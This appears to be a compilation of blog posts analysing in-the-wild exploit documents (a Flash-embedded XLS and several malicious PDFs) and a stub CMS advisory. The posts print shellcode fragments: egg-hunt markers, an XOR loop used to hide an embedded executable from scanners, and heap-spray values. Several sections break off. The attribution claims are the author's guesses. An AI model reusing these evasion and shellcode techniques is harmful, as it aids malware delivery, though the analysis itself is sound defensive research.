My analysis of  Disentangling Industrial Policy and Competition Policy.doc
File created 04-Apr-2011 9:50 , by user 7 , and company hust

There are no vulnerabilities in MS Office, there is a vulnerability in embeded swf as was described below.

CVE-2011-0609 - Adobe Flash Player ZeroDay

First information about new zero day in adobe flash player was published 03/11/2010 at

Then after 3 days Adobe confirmed bug and released advisory

Filename: crsenvironscan.xls
Size:126,444 bytes
MD5 Hash: 4BB64C1DA2F73DA11F331A96D55D63E2

My analysis of  crsenvironscan.xls
There are no vulnerabilities in MS Office, there is a vulnerability in embeded swf as was described below.

1) There are embeded swf
(target file name f:\sm.swf)

This swf provide heap spray and then load second swf
view source code

it allocates memory
NOP Slide =14141414

then loads second swf.

2) second.swf consist bug

File created possibly by using a fuzzer from

looks like there are bugs exist when flash player attempts to parse a swf file.
Unknown opcode 152.
Unknown opcode 84. 
(detailed analysis will be provided soon) 
3) Shellcode
this is EmbededExec shellcode,not encrypted.
decompiled shellcode 
Shellcode search for exe between
       cmp     dword ptr [eax], 47422E43h
       cmp     dword ptr [eax+4], 19890604h
hex code "432e424704068919" and
      cmp     dword ptr [eax], 4B635546h
      cmp     dword ptr [eax+4], 19820424h 
hex code "4655634b24048219"

if point view on this
as for me, that looks like some string and date

C.GB  1989/06/04    -  it may mean 1989-06-04 Tiananmen, Beijing, China

FucK 1982/04/24    - ?

If you have any ideas, post in comments

Encryption of exe is interesting. 
First 4 bytes of exe header writed from shellcode
then encrypted date decrypts using this algo
 where eax - size of exe
       xor     [ebx], al
       inc     ebx
       dec     eax
       inc     ebx
       dec     eax
       cmp     eax, 0 
       jmp  decrypt
This is for the first time I see such encryption in exploits found in the wild.
This is used to bypass scanners, which searches for the exe header.
4) Exe 
size 46,048 bytes

Pragyan CMS Multiple Vulnerabilities

Affected Software
Pragyan CMS

Technical Description
1) Code execution in INSTALL/install.php
script not correctly validate entered fields.
possibly write at password field string:

Adobe 0-day CVE-2010-2883 Made in Korea!

Lets look at CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson pdf file from Mila.
One of the files that was dropped was hcp.dll signed with certificate.

File Header

File compiled with visual studio 6.0 at 30/08/2010 23:49:52.
and it was captured by Mila on 07/09/2010. Looks like it was undetected and unknown 0-day only for one week.

In resource system lang
Child Type: VarFileInfo
Translation: 1042/1200


Language is Korean Unicode.

File Write on C++ with MFC.

Exported functions are:

and from shellcode called function StartUp.

Decompiled hcp.dll

An my opinion :
1. The file loader hcp.dll and the exploit were written by different people because of the difference in the quality of programming. Loader hcp.dll was written by a programmer with much lower skills, 'cos its writen on C++ with MFC and does not use any Firewall bypass Technique.

2. Looks like hcp.dll had digital signature only to bypass AV.

3. If the loader file made on a system with default Korean language (Korean Windows), then it was not from China but from Korea.

CVE-2010-2883 poc

I received this exploit from Mila

My tests
Windows VersionAdobe Reader Versionexploitable


Decoded JS (click on the picture to enlarge)


The shellcode is very interesting, it compatible for windows 7, drops dll and call function by address from dll.

It get functions by name

SearchMask is dword, where begin data of embeded dll in pdf

and at the end after put in %temp% dir hcp.dll ,
shellcode call loadlibraryA hcp.dll , then call function StartUp by it address 17a0h

CVE-2010-0188 - Adobe Pdf libtiff exploits analysis

Please see some of my research on Mila's Contagio Dump blog.

Part 1. invitation.pdf
Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7.

This pdf can be easily unpacked with pdftk or pdf-parser.py. It is using CVE-2006-3459 libtiff vulnerability, let look at tiff files.

At the end of the file we see integer overflow, you can also see unnecessary data referencing to like /bin/sh /bin/id , this is linux shellcode to execute /bin/id, i think it is because they used the following exploit from Security Focus, and did not change the shellcode.

However, the main shellcode is on the top of the file:

I disassembled the shellcode and it's searching in memory for 0x4656434b04068919,
and then for second 0x4b614b6106118119

The xored file is located between these dwords. The shellcode spawns c:\adobe_update.exe (10608 bytes) , c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) - this is a legitimate pdf file.

Decompiled shellcode is available here .

The dexored embeded data looks like this:
In the beginning of there file there are three dwords, in which the size of generated files is located, followed by the three files together: adobe_updater.exe - this file executess c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) and self deletes after that. ( Virustotal scan result )

Part 2. Another PDF for 8.x
This exploit works on Adobe Reader 8.1.2, posibly on all 8.x.
It used ret code 0x0c0c0c0c, and heap spray technique to execute shellcode

See below deobfuscated javascript for heap spray:
